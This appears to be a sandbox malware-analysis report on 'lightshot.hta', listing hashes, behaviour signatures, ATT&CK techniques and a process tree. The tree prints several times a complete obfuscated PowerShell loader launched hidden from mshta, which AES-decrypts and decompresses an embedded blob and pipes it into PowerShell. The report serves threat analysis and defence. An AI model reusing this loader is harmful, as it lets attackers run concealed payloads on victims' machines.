Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    01-12-2023 06:22

General

  • Target

    lightshot.hta

  • Size

    54KB

  • MD5

    d4a2eb2ca3c9c631d7fe24550901187f

  • SHA1

    adce21df1542c8867a8d3ee867ad963671290a9c

  • SHA256

    06ad0a15ad23f80816d9388624a14712df3598f856a2360912dd98680374dbda

  • SHA512

    68679a0176e4eec9f1239e497e8f279e4e857062a251fdd12201622a92c676ded89c3eea5aaa1085277dde3137a8278f3df7ea886342f99b3d7b60551fa9daa9

  • SSDEEP

    768:+rZm+DbOMXv/8/kpd6T0IBCFLGD6nqY79EtVaJOr:+rZmSbOMXv/8gd6TlBCJGD6qY79EtVDr

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\lightshot.hta"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2244
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS | powershell - }
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2276
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS | powershell -
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2796
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2736
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2964

Network

MITRE ATT&CK Matrix ATT&CK v13

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\H9R4B6U6Q9MXMYIWY6L1.temp
    Filesize

    7KB

    MD5

    0fe0199c1455040ad9e6be8c5a33eada

    SHA1

    2c29339946d894251f89a88c500aeecaec2df60d

    SHA256

    76a08749d658cb6d771753bd940f6f10cf570c88d9c2c5aa87c63535f70e8dea

    SHA512

    9d48c7e709e13ec948deea13913e6c75c45b182a76010a5df3bbe4a760078289d5d2dbcd447b3a4849933e59e90b19b4a8040794530b8f564fe146783449f2f3

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
    Filesize

    7KB

    MD5

    0fe0199c1455040ad9e6be8c5a33eada

    SHA1

    2c29339946d894251f89a88c500aeecaec2df60d

    SHA256

    76a08749d658cb6d771753bd940f6f10cf570c88d9c2c5aa87c63535f70e8dea

    SHA512

    9d48c7e709e13ec948deea13913e6c75c45b182a76010a5df3bbe4a760078289d5d2dbcd447b3a4849933e59e90b19b4a8040794530b8f564fe146783449f2f3

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
    Filesize

    7KB

    MD5

    0fe0199c1455040ad9e6be8c5a33eada

    SHA1

    2c29339946d894251f89a88c500aeecaec2df60d

    SHA256

    76a08749d658cb6d771753bd940f6f10cf570c88d9c2c5aa87c63535f70e8dea

    SHA512

    9d48c7e709e13ec948deea13913e6c75c45b182a76010a5df3bbe4a760078289d5d2dbcd447b3a4849933e59e90b19b4a8040794530b8f564fe146783449f2f3

  • memory/2276-6-0x0000000002650000-0x0000000002690000-memory.dmp
    Filesize

    256KB

  • memory/2276-2-0x0000000071D70000-0x000000007231B000-memory.dmp
    Filesize

    5.7MB

  • memory/2276-7-0x0000000071D70000-0x000000007231B000-memory.dmp
    Filesize

    5.7MB

  • memory/2276-5-0x0000000002650000-0x0000000002690000-memory.dmp
    Filesize

    256KB

  • memory/2276-4-0x0000000002650000-0x0000000002690000-memory.dmp
    Filesize

    256KB

  • memory/2276-3-0x0000000071D70000-0x000000007231B000-memory.dmp
    Filesize

    5.7MB

  • memory/2736-19-0x0000000002750000-0x0000000002790000-memory.dmp
    Filesize

    256KB

  • memory/2736-18-0x00000000717C0000-0x0000000071D6B000-memory.dmp
    Filesize

    5.7MB

  • memory/2736-20-0x00000000717C0000-0x0000000071D6B000-memory.dmp
    Filesize

    5.7MB

  • memory/2736-21-0x0000000002750000-0x0000000002790000-memory.dmp
    Filesize

    256KB

  • memory/2736-35-0x00000000717C0000-0x0000000071D6B000-memory.dmp
    Filesize

    5.7MB

  • memory/2964-22-0x00000000022C0000-0x0000000002300000-memory.dmp
    Filesize

    256KB

  • memory/2964-23-0x00000000717C0000-0x0000000071D6B000-memory.dmp
    Filesize

    5.7MB

  • memory/2964-24-0x00000000022C0000-0x0000000002300000-memory.dmp
    Filesize

    256KB

  • memory/2964-25-0x00000000717C0000-0x0000000071D6B000-memory.dmp
    Filesize

    5.7MB

  • memory/2964-36-0x00000000717C0000-0x0000000071D6B000-memory.dmp
    Filesize

    5.7MB